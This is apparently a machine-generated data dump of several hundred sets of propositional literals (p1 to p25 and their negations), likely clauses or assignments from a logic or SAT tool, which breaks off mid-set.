{p20, p1, p15, not_p5, p5, p17, p8, not_p3, p25, not_p4} {not_p16, p15, not_p5, p5, p17, p8, not_p3, p21, not_p4} {p12, p15, not_p5, p5, p17, p8, not_p3, p21, not_p4} {p2, p15, not_p5, p5, p17, p8, not_p3, p21, not_p4} {p18, p1, p15, not_p5, p5, p17, p8, not_p3, p21, not_p4} {p20, p1, p15, not_p5, p5, p17, p8, not_p3, p21, not_p4} {not_p16, p15, not_p5, p5, p17, p8, not_p25, p25, not_p4} {p2, p15, not_p5, p5, p17, p8, not_p25, p25, not_p4} {p18, p1, p15, not_p5, p5, p17, p8, not_p25, p25, not_p4} {p20, p1, p15, not_p5, p5, p17, p8, not_p25, p25, not_p4} {not_p16, p15, not_p5, p5, p17, p8, not_p25, p21, not_p4} {p12, p15, not_p5, p5, p17, p8, not_p25, p21, not_p4} {p2, p15, not_p5, p5, p17, p8, not_p25, p21, not_p4} {p18, p1, p15, not_p5, p5, p17, p8, not_p25, p21, not_p4} {p20, p1, p15, not_p5, p5, p17, p8, not_p25, p21, not_p4} {not_p16, p15, not_p5, p5, p17, p8, p14, p25, not_p4} {p2, p15, not_p5, p5, p17, p8, p14, p25, not_p4} {p18, p1, p15, not_p5, p5, p17, p8, p14, p25, not_p4} {p20, p1, p15, not_p5, p5, p17, p8, p14, p25, not_p4} {p12, p15, not_p5, p5, p17, p8, p14, p21, not_p4} {not_p16, p15, not_p5, p5, p17, p8, p14, p21, not_p4} {p2, p15, not_p5, p5, p17, p8, p14, p21, not_p4} {p18, p1, p15, not_p5, p5, p17, p8, p14, p21, not_p4} {p20, p1, p15, not_p5, p5, p17, p8, p14, p21, not_p4} {not_p16, p15, not_p5, p5, p17, p8, p9, p25, not_p4} {p18, p1, p15, not_p5, p5, p17, p8, p9, p25, not_p4} {p20, p1, p15, not_p5, p5, not_p15, p17, p8, p9, p7, p25, not_p4} {p2, p15, not_p5, p5, p17, p8, p9, p25, not_p4} {not_p16, p15, not_p5, p5, p17, p8, p9, p21, not_p4} {p12, p15, not_p5, p5, p17, p8, p9, p21, not_p4} {p18, p1, p15, not_p5, p5, p17, p8, p9, p21, not_p4} {p2, p15, not_p5, p5, p17, p8, p9, p21, not_p4} {p22, not_p16, p15, p5, p8, not_p8, p14, not_p4} {p22, p2, p15, p5, p8, not_p8, p14, not_p4} {p1, p22, p15, p5, p8, not_p8, p14, not_p4} {not_p16, p15, p5, p11, not_p8, p14, p25, not_p4, not_p19} {not_p16, p15, not_p5, p5, p11, not_p8, p14, p25, not_p4} {p22, not_p16, p15, p5, p11, not_p8, p14, p25, not_p4} {p2, p15, p5, p11, not_p8, p14, p25, not_p4, not_p19} {p2, p15, not_p5, p5, p11, not_p8, p14, p25, not_p4} {p22, p2, p15, p5, p11, not_p8, p14, p25, not_p4} {p18, p1, p15, p5, p11, not_p8, p14, p25, not_p4, not_p19} {p20, p1, p15, p5, p11, not_p8, p14, p25, not_p4, not_p19} {p18, p1, p15, not_p5, p5, p11, not_p8, p14, p25, not_p4} {p20, p1, p15, not_p5, p5, p11, not_p8, p14, p25, not_p4} {p1, p22, p15, p5, p11, not_p8, p14, p25, not_p4} {not_p16, p15, not_p5, p5, p8, not_p8, p14, p25, not_p4} {p2, p15, not_p5, p5, p8, not_p8, p14, p25, not_p4} {p18, p1, p15, not_p5, p5, p8, not_p8, p14, p25, not_p4} {p20, p1, p15, not_p5, p5, p8, not_p8, p14, p25, not_p4} {not_p16, p15, p5, p8, p14, p25, not_p4, not_p19} {p2, p15, p5, p8, p14, p25, not_p4, not_p19} {p18, p1, p15, p5, p8, p14, p25, not_p4, not_p19} {p20, p1, p15, p5, p8, p14, p25, not_p4, not_p19} {p22, not_p16, p15, p5, p8, p14, not_p4, not_p19} {p22, p2, p15, p5, p8, p14, not_p4, not_p19} {p1, p22, p15, p5, p8, p14, not_p4, not_p19} {p1, p22, p15, p5, not_p15, p6, p8, p14, not_p4} {p18, p1, p15, not_p5, p5, not_p15, p6, p8, p14, p25, not_p4} {p20, p1, p15, not_p5, p5, not_p15, p6, p8, p14, p25, not_p4} {not_p16, p15, not_p5, p5, p6, p8, p14, p25, not_p4} {p2, p15, not_p5, p5, p6, p8, p14, p25, not_p4} {p22, not_p16, p15, p5, p6, p8, p14, not_p4} {p22, p2, p15, p5, p6, p8, p14, not_p4} {p20, p1, not_p12, not_p5, p16, p8, p24, p9, p4, not_p19} {p20, p1, not_p12, not_p5, p16, p17, not_p20, p24, p9, p4} {p20, p1, not_p12, not_p5, p16, p17, p24, p9, p21, p25, p4} {p20, p1, not_p12, not_p5, p16, p17, p11, p24, p9, p21, p4} {p20, p1, not_p12, not_p5, p16, p8, p24, not_p8, p9, p4} {p20, p1, not_p12, not_p5, p16, p24, not_p8, p9, p25, p4} {not_p21, p20, p1, not_p5, p16, p8, p24, p9, p4, not_p19} {not_p21, p1, p3, not_p5, p16, p8, p24, p9, p4, not_p19} {p1, p22, not_p5, p16, p8, p24, p9, p4, not_p19} {p1, p22, not_p5, p16, p17, not_p20, p24, p9, p4} {p1, p22, not_p5, p16, p17, p24, p9, p21, p25, p4} {p1, p22, not_p5, p16, p17, p11, p24, p9, p21, p4} {not_p21, p20, p1, not_p5, p16, p17, not_p20, p24, p9, p4} {not_p21, p1, p3, not_p5, p16, p17, not_p20, p24, p9, p4} {not_p21, p20, p1, not_p5, p16, p17, p24, p9, p21, p25, p4} {not_p21, p20, p1, not_p5, p16, p17, p11, p24, p9, p21, p4} {not_p21, p1, p3, not_p5, p16, p17, p24, p9, p21, p25, p4} {not_p21, p1, p3, not_p5, p16, p17, p11, p24, p9, p21, p4} {not_p21, p20, p1, not_p5, p16, p8, p24, not_p8, p9, p4} {not_p21, p1, p3, not_p5, p16, p8, p24, not_p8, p9, p4} {p1, p22, not_p5, p16, p8, p24, not_p8, p9, p4} {not_p21, p20, p1, not_p5, p16, p24, not_p8, p9, p25, p4} {not_p21, p1, p3, not_p5, p16, p24, not_p8, p9, p25, p4} {p1, p22, not_p5, p16, p24, not_p8, p9, p25, p4} {p20, p1, p12, not_p12, not_p5, p16, p17, p24, p9, p7, p25, not_p4} {p20, p1, not_p12, not_p5, p16, p17, p24, p9, p7, p21, not_p4} {p20, p1, not_p12, not_p5, p16, p17, not_p20, p24, p9, p7, not_p4} {p1, p22, not_p5, p16, p17, p24, p9, p7, p21, not_p4} {p1, p22, not_p5, p16, p17, not_p20, p24, p9, p7, not_p4} {p1, p22, p12, not_p5, p16, p17, p24, p9, p7, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p17, p24, p9, p7, p25, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p17, p24, p9, p7, p25, not_p4} {not_p21, p20, p1, not_p5, p16, p17, p24, p9, p7, p21, not_p4} {not_p21, p1, p3, not_p5, p16, p17, p24, p9, p7, p21, not_p4} {not_p21, p20, p1, not_p5, p16, p17, not_p20, p24, p9, p7, not_p4} {not_p21, p1, p3, not_p5, p16, p17, not_p20, p24, p9, p7, not_p4} {p1, p22, not_p5, p16, p17, not_p20, p24, p14, not_p4} {p1, p22, not_p5, p16, p17, not_p20, p24, not_p3, not_p4} {p1, p22, not_p5, p16, p17, p6, not_p20, p24, p9, not_p4} {p18, p1, p22, not_p5, p16, p17, not_p20, p24, p9, not_p4} {p1, p22, not_p5, p16, p17, not_p20, p24, not_p25, not_p4} {p1, p22, not_p5, p16, p17, p24, p14, p21, p25, not_p4} {p1, p22, not_p5, p16, p17, p24, not_p3, p21, p25, not_p4} {p1, p22, not_p5, p16, p17, p6, p24, p9, p21, p25, not_p4} {p18, p1, p22, not_p5, p16, p17, p24, p9, p21, p25, not_p4} {p1, p22, not_p5, p16, p17, p24, not_p25, p21, p25, not_p4} {p1, p22, p12, not_p5, p16, p17, p24, not_p3, p25, not_p24, not_p4} {p1, p22, p12, not_p5, p16, p17, p24, not_p3, p25, not_p2, not_p4} {p18, p1, p22, p12, not_p5, p16, p17, p24, p9, p25, not_p4} {p1, p22, p12, not_p5, p16, p17, p24, p14, p25, not_p24, not_p4} {p1, p22, p12, not_p5, p16, p17, p24, p14, p25, not_p2, not_p4} {p1, p22, p12, not_p5, p16, p17, p24, not_p25, p25, not_p24, not_p4} {p1, p22, p12, not_p5, p16, p17, p24, not_p25, p25, not_p2, not_p4} {p1, p22, not_p5, p16, p17, p6, p11, p24, p9, p21, not_p4} {p18, p1, not_p12, not_p5, p16, p17, p24, p9, p21, p25, not_p4} {p18, p1, not_p12, not_p5, p16, p17, p24, p14, p21, p25, not_p4} {p18, p1, not_p12, not_p5, p16, p17, p24, not_p3, p21, p25, not_p4} {p18, p1, not_p12, not_p5, p16, p17, p24, not_p25, p21, p25, not_p4} {not_p21, p18, p1, not_p5, p16, p17, p24, p9, p21, p25, not_p4} {not_p21, p18, p1, not_p5, p16, p17, p24, p14, p21, p25, not_p4} {not_p21, p18, p1, not_p5, p16, p17, p24, not_p3, p21, p25, not_p4} {not_p21, p18, p1, not_p5, p16, p17, p24, not_p25, p21, p25, not_p4} {p20, p1, not_p12, not_p5, p16, p17, p6, p24, p9, p21, p25, not_p4} {not_p21, p20, p1, not_p5, p16, p17, p6, p24, p9, p21, p25, not_p4} {p20, p1, not_p12, not_p5, p16, p17, p6, p11, p24, p9, p21, not_p4} {not_p21, p20, p1, not_p5, p16, p17, p6, p11, p24, p9, p21, not_p4} {p20, p1, not_p12, not_p5, p16, p17, p24, p14, p21, p25, not_p4} {p20, p1, not_p12, not_p5, p16, p17, p24, not_p3, p21, p25, not_p4} {p20, p1, not_p12, not_p5, p16, p17, p24, not_p25, p21, p25, not_p4} {not_p21, p20, p1, not_p5, p16, p17, p24, p14, p21, p25, not_p4} {not_p21, p20, p1, not_p5, p16, p17, p24, not_p3, p21, p25, not_p4} {not_p21, p20, p1, not_p5, p16, p17, p24, not_p25, p21, p25, not_p4} {not_p21, p1, p3, not_p5, p16, p17, p6, p24, p9, p21, p25, not_p4} {not_p21, p1, p3, not_p5, p16, p17, p24, p14, p21, p25, not_p4} {not_p21, p1, p3, not_p5, p16, p17, p24, not_p3, p21, p25, not_p4} {not_p21, p1, p3, not_p5, p16, p17, p24, not_p25, p21, p25, not_p4} {not_p21, p1, p3, not_p5, p16, p17, p6, p11, p24, p9, p21, not_p4} {p18, p1, not_p12, not_p5, p16, p17, not_p20, p24, p9, not_p4} {p18, p1, not_p12, not_p5, p16, p17, not_p20, p24, p14, not_p4} {p18, p1, not_p12, not_p5, p16, p17, not_p20, p24, not_p3, not_p4} {p18, p1, not_p12, not_p5, p16, p17, not_p20, p24, not_p25, not_p4} {not_p21, p18, p1, not_p5, p16, p17, not_p20, p24, p9, not_p4} {not_p21, p18, p1, not_p5, p16, p17, not_p20, p24, p14, not_p4} {not_p21, p18, p1, not_p5, p16, p17, not_p20, p24, not_p3, not_p4} {not_p21, p18, p1, not_p5, p16, p17, not_p20, p24, not_p25, not_p4} {p20, p1, not_p12, not_p5, p16, p17, p6, not_p20, p24, p9, not_p4} {not_p21, p20, p1, not_p5, p16, p17, p6, not_p20, p24, p9, not_p4} {p20, p1, not_p12, not_p5, p16, p17, not_p20, p24, p14, not_p4} {p20, p1, not_p12, not_p5, p16, p17, not_p20, p24, not_p3, not_p4} {p20, p1, not_p12, not_p5, p16, p17, not_p20, p24, not_p25, not_p4} {not_p21, p20, p1, not_p5, p16, p17, not_p20, p24, p14, not_p4} {not_p21, p20, p1, not_p5, p16, p17, not_p20, p24, not_p3, not_p4} {not_p21, p20, p1, not_p5, p16, p17, not_p20, p24, not_p25, not_p4} {not_p21, p1, p3, not_p5, p16, p17, p6, not_p20, p24, p9, not_p4} {not_p21, p1, p3, not_p5, p16, p17, not_p20, p24, p14, not_p4} {not_p21, p1, p3, not_p5, p16, p17, not_p20, p24, not_p3, not_p4} {not_p21, p1, p3, not_p5, p16, p17, not_p20, p24, not_p25, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p17, p24, p9, p25, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p17, p24, p9, p25, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p17, p24, p14, p25, not_p24, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p17, p24, not_p3, p25, not_p24, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p17, p24, not_p25, p25, not_p24, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p17, p24, p14, p25, not_p2, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p17, p24, not_p3, p25, not_p2, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p17, p24, not_p25, p25, not_p2, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p17, p24, p14, p25, not_p24, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p17, p24, p14, p25, not_p2, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p17, p24, not_p3, p25, not_p24, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p17, p24, not_p25, p25, not_p24, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p17, p24, not_p3, p25, not_p2, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p17, p24, not_p25, p25, not_p2, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p17, p24, p14, p25, not_p24, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p17, p24, not_p3, p25, not_p24, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p17, p24, not_p25, p25, not_p24, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p17, p24, p14, p25, not_p24, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p17, p24, not_p3, p25, not_p24, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p17, p24, not_p25, p25, not_p24, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p17, p24, p14, p25, not_p2, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p17, p24, not_p3, p25, not_p2, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p17, p24, not_p25, p25, not_p2, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p17, p24, p14, p25, not_p2, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p17, p24, not_p3, p25, not_p2, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p17, p24, not_p25, p25, not_p2, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p17, p24, p14, p25, not_p24, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p17, p24, not_p3, p25, not_p24, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p17, p24, not_p25, p25, not_p24, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p17, p24, p14, p25, not_p2, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p17, p24, not_p3, p25, not_p2, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p17, p24, not_p25, p25, not_p2, not_p4} {p1, p22, not_p5, p16, p24, not_p8, not_p3, p25, not_p4} {p1, p22, not_p5, p16, p6, p24, not_p8, p9, p25, not_p4} {p18, p1, p22, not_p5, p16, p24, not_p8, p9, p25, not_p4} {p1, p22, not_p5, p16, p24, not_p8, p9, p7, p25, not_p4} {p1, p22, not_p5, p16, p24, not_p8, p14, p21, p25, not_p4} {p1, p22, not_p5, p16, not_p20, p24, not_p8, p14, p25, not_p4} {p1, p22, not_p5, p16, p24, not_p8, not_p25, p25, not_p4} {p1, p22, p12, not_p5, p16, p24, not_p8, not_p3, not_p24, not_p4} {p1, p22, p12, not_p5, p16, p24, not_p8, not_p3, not_p2, not_p4} {p1, p22, not_p5, p16, p8, p24, not_p8, p9, p7, not_p4} {p18, p1, p22, p12, not_p5, p16, p24, not_p8, p9, not_p4} {p1, p22, p12, not_p5, p16, p24, not_p8, p9, p7, not_p4} {p1, p22, p12, not_p5, p16, p24, not_p8, p14, not_p24, not_p4} {p1, p22, p12, not_p5, p16, p24, not_p8, p14, not_p2, not_p4} {p1, p22, p12, not_p5, p16, p24, not_p8, not_p25, not_p24, not_p4} {p1, p22, p12, not_p5, p16, p24, not_p8, not_p25, not_p2, not_p4} {p18, p1, not_p12, not_p5, p16, p24, not_p8, p9, p25, not_p4} {p18, p1, not_p12, not_p5, p16, p24, not_p8, not_p3, p25, not_p4} {p18, p1, not_p12, not_p5, p16, p24, not_p8, p14, p21, p25, not_p4} {p18, p1, not_p12, not_p5, p16, not_p20, p24, not_p8, p14, p25, not_p4} {p18, p1, not_p12, not_p5, p16, p24, not_p8, not_p25, p25, not_p4} {not_p21, p18, p1, not_p5, p16, p24, not_p8, p9, p25, not_p4} {not_p21, p18, p1, not_p5, p16, p24, not_p8, not_p3, p25, not_p4} {not_p21, p18, p1, not_p5, p16, p24, not_p8, p14, p21, p25, not_p4} {not_p21, p18, p1, not_p5, p16, not_p20, p24, not_p8, p14, p25, not_p4} {not_p21, p18, p1, not_p5, p16, p24, not_p8, not_p25, p25, not_p4} {p20, p1, not_p12, not_p5, p16, p24, not_p8, not_p3, p25, not_p4} {p20, p1, not_p12, not_p5, p16, p6, p24, not_p8, p9, p25, not_p4} {p20, p1, not_p12, not_p5, p16, p24, not_p8, p9, p7, p25, not_p4} {p20, p1, not_p12, not_p5, p16, p24, not_p8, p14, p21, p25, not_p4} {p20, p1, not_p12, not_p5, p16, not_p20, p24, not_p8, p14, p25, not_p4} {p20, p1, not_p12, not_p5, p16, p24, not_p8, not_p25, p25, not_p4} {not_p21, p20, p1, not_p5, p16, p24, not_p8, not_p3, p25, not_p4} {not_p21, p20, p1, not_p5, p16, p6, p24, not_p8, p9, p25, not_p4} {not_p21, p20, p1, not_p5, p16, p24, not_p8, p9, p7, p25, not_p4} {not_p21, p20, p1, not_p5, p16, p24, not_p8, p14, p21, p25, not_p4} {not_p21, p20, p1, not_p5, p16, not_p20, p24, not_p8, p14, p25, not_p4} {not_p21, p20, p1, not_p5, p16, p24, not_p8, not_p25, p25, not_p4} {not_p21, p1, p3, not_p5, p16, p24, not_p8, not_p3, p25, not_p4} {not_p21, p1, p3, not_p5, p16, p6, p24, not_p8, p9, p25, not_p4} {not_p21, p1, p3, not_p5, p16, p24, not_p8, p9, p7, p25, not_p4} {not_p21, p1, p3, not_p5, p16, p24, not_p8, p14, p21, p25, not_p4} {not_p21, p1, p3, not_p5, p16, not_p20, p24, not_p8, p14, p25, not_p4} {not_p21, p1, p3, not_p5, p16, p24, not_p8, not_p25, p25, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p24, not_p8, not_p3, not_p24, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p24, not_p8, not_p3, not_p2, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p24, not_p8, not_p3, not_p24, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p24, not_p8, not_p3, not_p2, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p24, not_p8, not_p3, not_p24, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p24, not_p8, not_p3, not_p2, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p24, not_p8, not_p3, not_p24, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p24, not_p8, not_p3, not_p2, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p24, not_p8, not_p3, not_p24, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p24, not_p8, not_p3, not_p2, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p24, not_p8, p9, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p24, not_p8, p9, not_p4} {p20, p1, not_p12, not_p5, p16, p8, p24, not_p8, p9, p7, not_p4} {not_p21, p20, p1, not_p5, p16, p8, p24, not_p8, p9, p7, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p24, not_p8, p9, p7, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p24, not_p8, p9, p7, not_p4} {not_p21, p1, p3, not_p5, p16, p8, p24, not_p8, p9, p7, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p24, not_p8, p9, p7, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p24, not_p8, not_p25, not_p24, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p24, not_p8, not_p25, not_p2, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p24, not_p8, not_p25, not_p24, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p24, not_p8, not_p25, not_p2, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p24, not_p8, not_p25, not_p24, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p24, not_p8, not_p25, not_p2, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p24, not_p8, not_p25, not_p24, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p24, not_p8, not_p25, not_p2, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p24, not_p8, not_p25, not_p24, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p24, not_p8, not_p25, not_p2, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p24, not_p8, p14, not_p24, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p24, not_p8, p14, not_p24, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p24, not_p8, p14, not_p2, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p24, not_p8, p14, not_p2, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p24, not_p8, p14, not_p24, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p24, not_p8, p14, not_p24, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p24, not_p8, p14, not_p2, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p24, not_p8, p14, not_p2, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p24, not_p8, p14, not_p24, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p24, not_p8, p14, not_p2, not_p4} {p1, p22, not_p5, p16, p6, p8, p24, p9, not_p4} {p18, p1, not_p12, not_p5, p16, p6, p8, p24, p9, not_p4} {p20, p1, not_p12, not_p5, p16, p6, p8, p24, p9, not_p4} {not_p21, p1, p3, not_p5, p16, p6, p8, p24, p9, not_p4} {not_p21, p18, p1, not_p5, p16, p6, p8, p24, p9, not_p4} {not_p21, p20, p1, not_p5, p16, p6, p8, p24, p9, not_p4} {p1, p22, not_p5, p16, p6, p8, p24, not_p3, not_p4} {p1, p22, not_p5, p16, p6, p8, p24, p14, p21, not_p4} {p1, p22, not_p5, p16, p6, not_p20, p8, p24, p14, not_p4} {p1, p22, not_p5, p16, p6, p8, p24, not_p25, not_p4} {p18, p1, not_p12, not_p5, p16, p6, p8, p24, not_p3, not_p4} {not_p21, p18, p1, not_p5, p16, p6, p8, p24, not_p3, not_p4} {p20, p1, not_p12, not_p5, p16, p6, p8, p24, not_p3, not_p4} {not_p21, p20, p1, not_p5, p16, p6, p8, p24, not_p3, not_p4} {not_p21, p1, p3, not_p5, p16, p6, p8, p24, not_p3, not_p4} {p18, p1, not_p12, not_p5, p16, p6, p8, p24, not_p25, not_p4} {not_p21, p18, p1, not_p5, p16, p6, p8, p24, not_p25, not_p4} {p20, p1, not_p12, not_p5, p16, p6, p8, p24, not_p25, not_p4} {not_p21, p20, p1, not_p5, p16, p6, p8, p24, not_p25, not_p4} {not_p21, p1, p3, not_p5, p16, p6, p8, p24, not_p25, not_p4} {p18, p1, not_p12, not_p5, p16, p6, p8, p24, p14, p21, not_p4} {not_p21, p18, p1, not_p5, p16, p6, p8, p24, p14, p21, not_p4} {p20, p1, not_p12, not_p5, p16, p6, p8, p24, p14, p21, not_p4} {not_p21, p20, p1, not_p5, p16, p6, p8, p24, p14, p21, not_p4} {not_p21, p1, p3, not_p5, p16, p6, p8, p24, p14, p21, not_p4} {p18, p1, not_p12, not_p5, p16, p6, not_p20, p8, p24, p14, not_p4} {not_p21, p18, p1, not_p5, p16, p6, not_p20, p8, p24, p14, not_p4} {p20, p1, not_p12, not_p5, p16, p6, not_p20, p8, p24, p14, not_p4} {not_p21, p20, p1, not_p5, p16, p6, not_p20, p8, p24, p14, not_p4} {not_p21, p1, p3, not_p5, p16, p6, not_p20, p8, p24, p14, not_p4} {p1, p22, not_p5, p16, p8, p24, p9, p7, not_p4, not_p19} {p20, p1, not_p12, not_p5, p16, p8, p24, p9, p7, not_p4, not_p19} {not_p21, p20, p1, not_p5, p16, p8, p24, p9, p7, not_p4, not_p19} {not_p21, p1, p3, not_p5, p16, p8, p24, p9, p7, not_p4, not_p19} {p1, p22, p12, not_p5, p16, p6, p24, p9, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p6, p24, p9, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p6, p24, p9, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p6, p24, p9, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p6, p24, p9, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p6, p24, p9, not_p4} {p1, p22, p12, not_p5, p16, p6, p24, p14, not_p24, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p6, p24, p14, not_p24, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p6, p24, p14, not_p24, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p6, p24, p14, not_p24, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p6, p24, p14, not_p24, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p6, p24, p14, not_p24, not_p4} {p1, p22, p12, not_p5, p16, p6, p24, p14, not_p2, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p6, p24, p14, not_p2, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p6, p24, p14, not_p2, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p6, p24, p14, not_p2, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p6, p24, p14, not_p2, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p6, p24, p14, not_p2, not_p4} {p1, p22, p12, not_p5, p16, p6, p24, not_p3, not_p24, not_p4} {p1, p22, p12, not_p5, p16, p6, p24, not_p25, not_p24, not_p4} {p1, p22, p12, not_p5, p16, p6, p24, not_p3, not_p2, not_p4} {p1, p22, p12, not_p5, p16, p6, p24, not_p25, not_p2, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p6, p24, not_p3, not_p24, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p6, p24, not_p3, not_p24, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p6, p24, not_p25, not_p24, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p6, p24, not_p25, not_p24, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p6, p24, not_p3, not_p24, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p6, p24, not_p3, not_p24, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p6, p24, not_p25, not_p24, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p6, p24, not_p25, not_p24, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p6, p24, not_p3, not_p24, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p6, p24, not_p25, not_p24, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p6, p24, not_p3, not_p2, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p6, p24, not_p3, not_p2, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p6, p24, not_p25, not_p2, not_p4} {not_p21, p18, p1, p12, not_p5, p16, p6, p24, not_p25, not_p2, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p6, p24, not_p3, not_p2, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p6, p24, not_p3, not_p2, not_p4} {p20, p1, p12, not_p12, not_p5, p16, p6, p24, not_p25, not_p2, not_p4} {not_p21, p20, p1, p12, not_p5, p16, p6, p24, not_p25, not_p2, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p6, p24, not_p3, not_p2, not_p4} {not_p21, p1, p12, p3, not_p5, p16, p6, p24, not_p25, not_p2, not_p4} {p18, p1, p12, not_p12, not_p5, p16, p24, p9, not_p4, not_p19} {p18, p1, p22, p12, not_p5, p16, p24, p9, not_p4, not_p19} {not_p21, p18, p1, p12, not_p5, p16, p24, p9, not_p4, not_p19} {p1, p22, p12, not_p5, p16, p24, p9, p7, not_p4, not_p19} {p20, p1, p12, not_p12, not_p5, p16, p24, p9, p7, not_p4, not_p19} {not_p21, p20, p1, p12, not_p5, p16, p24, p9, p7, not_p4, not_p19} {not_p21, p1, p12, p3, not_p5, p16, p24, p9, p7, not_p4, not_p19} {p1, p22, p12, not_p5, p16, p24, p14, not_p24, not_p4, not_p19} {p18, p1, p12, not_p12, not_p5, p16, p24, p14, not_p24, not_p4, not_p19} {p20, p1, p12, not_p12, not_p5, p16, p24, p14, not_p24, not_p4, not_p19} {not_p21, p1, p12, p3, not_p5, p16, p24, p14, not_p24, not_p4, not_p19} {not_p21, p18, p1, p12, not_p5, p16, p24, p14, not_p24, not_p4, not_p19} {not_p21, p20, p1, p12, not_p5, p16, p24, p14, not_p24, not_p4, not_p19} {p1, p22, p12, not_p5, p16, p24, p14, not_p2, not_p4, not_p19} {p18, p1, p12, not_p12, not_p5, p16, p24, p14, not_p2, not_p4, not_p19} {p20, p1, p12, not_p12, not_p5, p16, p24, p14, not_p2, not_p4, not_p19} {not_p21, p1, p12, p3, not_p5, p16, p24, p14, not_p2, not_p4, not_p19} {not_p21, p18, p1, p12, not_p5, p16, p24, p14, not_p2, not_p4, not_p19} {not_p21, p20, p1, p12, not_p5, p16, p24, p14, not_p2, not_p4, not_p19} {p1, p22, p12, not_p5, p16, p24, not_p3, not_p24, not_p4, not_p19} {p1, p22, p12, not_p5, p16, p24, not_p25, not_p24, not_p4, not_p19} {p1, p22, p12, not_p5, p16, p24, not_p3, not_p2, not_p4, not_p19} {p1, p22, p12, not_p5, p16, p24, not_p25, not_p2, not_p4, not_p19} {p18, p1, p12, not_p12, not_p5, p16, p24, not_p3, not_p24, not_p4, 